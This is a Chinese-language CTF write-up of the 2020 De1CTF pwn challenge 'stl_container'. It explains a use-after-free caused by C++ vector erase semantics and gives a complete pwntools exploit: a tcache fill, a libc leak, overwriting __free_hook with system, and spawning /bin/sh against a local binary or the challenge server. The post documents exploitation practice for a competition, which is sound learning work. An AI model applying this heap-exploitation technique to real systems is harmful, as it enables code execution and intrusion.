2020 De1CTF部分pwn题复盘

stl_container

查看文件

保护全开 2.27 libc,C++题 vector释放机制漏洞

IDA分析

题目提供四个机制:list、vector、stack、queue
每个机制下都有一个小菜单,分别是create、delete、show。

看了半天,调试半天还是没找到漏洞在哪里,没办法就搜了一下各个C++封装结构的机制漏洞,我们定位到vector的erase释放机制。

补充知识

用一种简单的方法阐述这个漏洞机制:
比如vector中有如下内容:

1 2 3 4

此时我们删除2

第一步:执行 copy,右边的指针全部左移

1 3 4 4

第二步:调用析构函数删除最后一个指针的内容destroy(finish),执行的是第四个元素的析构函数,但是我们删除的第二个元素却并没有释放空间,此时就可能造成UAF

那么对应动态分配heap内存就是,先heap地址左移,并释放最后元素的heap空间。

思路

利用上面学到的东西再去调试:

create(0,aaaa)
create(1,aaaa)
delete(0)
show(0)

果然就看到了heap地址

create两个vector元素:

delete(0),不出意外会出现0x000055555576e5f0的chunk被释放,同时0x000055555576e5f0左移到第一个位置。

果然如此,这样就好做了,double free

利用其它结构填满0xa0 tcache来泄露libc地址,再通过UAF改fd为free_hook,分配到后改为system,system(“/bin/sh”)即可getshell。

开始没注意到析构函数会自动释放一个0xa0的chunk,加上其它三个结构每个结构两个chunk,刚好填满tcache,就可以泄露libc地址。

exp

#coding=utf-8
from pwn import *
debug = 1
context.terminal = ['tmux','split','-h']
context.log_level = "debug"

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data  :p.sendline(data)
sla = lambda delim,data  :p.sendlineafter(delim, data)
sea = lambda delim,data  :p.sendafter(delim, data)
rc = lambda numb=4096    :p.recv(numb)
rl = lambda   :p.recvline()
ru = lambda delims  :p.recvuntil(delims)
uu32 = lambda data  :u32(data.ljust(4, '\x00'))
uu64 = lambda data  :u64(data.ljust(8, '\x00'))
itv  = lambda  :p.interactive()

if debug:
    p = process("./stl_container")
    elf = ELF("./stl_container")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
else:
    p = remote("124.70.197.50",9010)
    elf = ELF("./stl_container")
    libc = ELF("./libc-2.27.so")

def listFunc(choice,data=0,index=0):
    sla(">> ","1")
    if choice==1:
        sla(">> ","1")
        sa("data:",data)
    elif choice==2:
        sla(">> ","2")
        sla("index?\n",str(index))
    elif choice==3:
        sla(">> ","3")
        sla("index?\n",str(index))

def vectorFunc(choice,data=0,index=0):
    sla(">> ","2")
    if choice==1: 
        sla(">> ","1")
        sa("data:",data)
    elif choice==2:
        sla(">> ","2")
        sla("index?\n",str(index))
    elif choice==3:
        sla(">> ","3")
        sla("index?\n",str(index))

def queueFunc(choice,data=0):
    sla(">> ","3")
    if choice==1: 
        sla(">> ","1")
        sa("data:",data)
    elif choice==2:
        sla(">> ","2")

def stackFunc(choice,data=0):
    sla(">> ","4")
    if choice==1: 
        sla(">> ","1")
        sa("data:",data)
    elif choice==2:
        sla(">> ","2")

#gdb.attach(p)
vectorFunc(1,"\n")
vectorFunc(1,"\n")
listFunc(1,"a"*0x80+"\n")
listFunc(1,"a"*0x80+"\n")
queueFunc(1,"a"*0x80+"\n")
queueFunc(1,"a"*0x80+"\n")
stackFunc(1,"a"*0x80+"\n")
stackFunc(1,"b"*0x80+"\n")
listFunc(2,0,0)
listFunc(2,0,0)
queueFunc(2)
queueFunc(2)
stackFunc(2)
stackFunc(2)
vectorFunc(2,0,0)
vectorFunc(3,0,0)
p.recv(6)
libc.address = u64(p.recv(6).ljust(8,"\x00"))-0x00007ffff782eca0+0x7ffff7443000
success("libc address ==> "+hex(libc.address))

listFunc(1,"/bin/sh\x00"+"\n")
listFunc(1,"/bin/sh\x00"+"\n")
stackFunc(1,"/bin/sh\x00"+"\n")
#stackFunc(1,"/bin/sh\x00"+"\n")
vectorFunc(2,0,0)
vectorFunc(1,"\n")
vectorFunc(1,"\n")
vectorFunc(2,0,0)
listFunc(2,0,0)
vectorFunc(2,0,0)
#gdb.attach(p)

stackFunc(1,p64(libc.sym["__free_hook"])+"\n")
queueFunc(1,p64(libc.sym["__free_hook"])+"\n")
queueFunc(1,p64(libc.sym["system"])+"\n")
listFunc(2,0,0)
#gdb.attach(p)
itv()

 Previous
2019 SCTF部分pwn题复盘 2019 SCTF部分pwn题复盘
[toc] easy_heap查看文件 2.23 io attack io leak off by null ## IDA分析 (1).创建: (2)delete (3)edit off by null 思路 利用off by
2020-10-09
Next 
php-pwn环境搭建及一个小demo php-pwn环境搭建及一个小demo
php拓展模块开发我们开发的是一个漏洞函数,为了后面进行调试 环境搭建本机的环境是Ubuntu18.04,我们使用下面的命令来简单的搭建开发环境 安装php,以及php开发包头 $> sudo apt install php php
2020-10-09
  TOC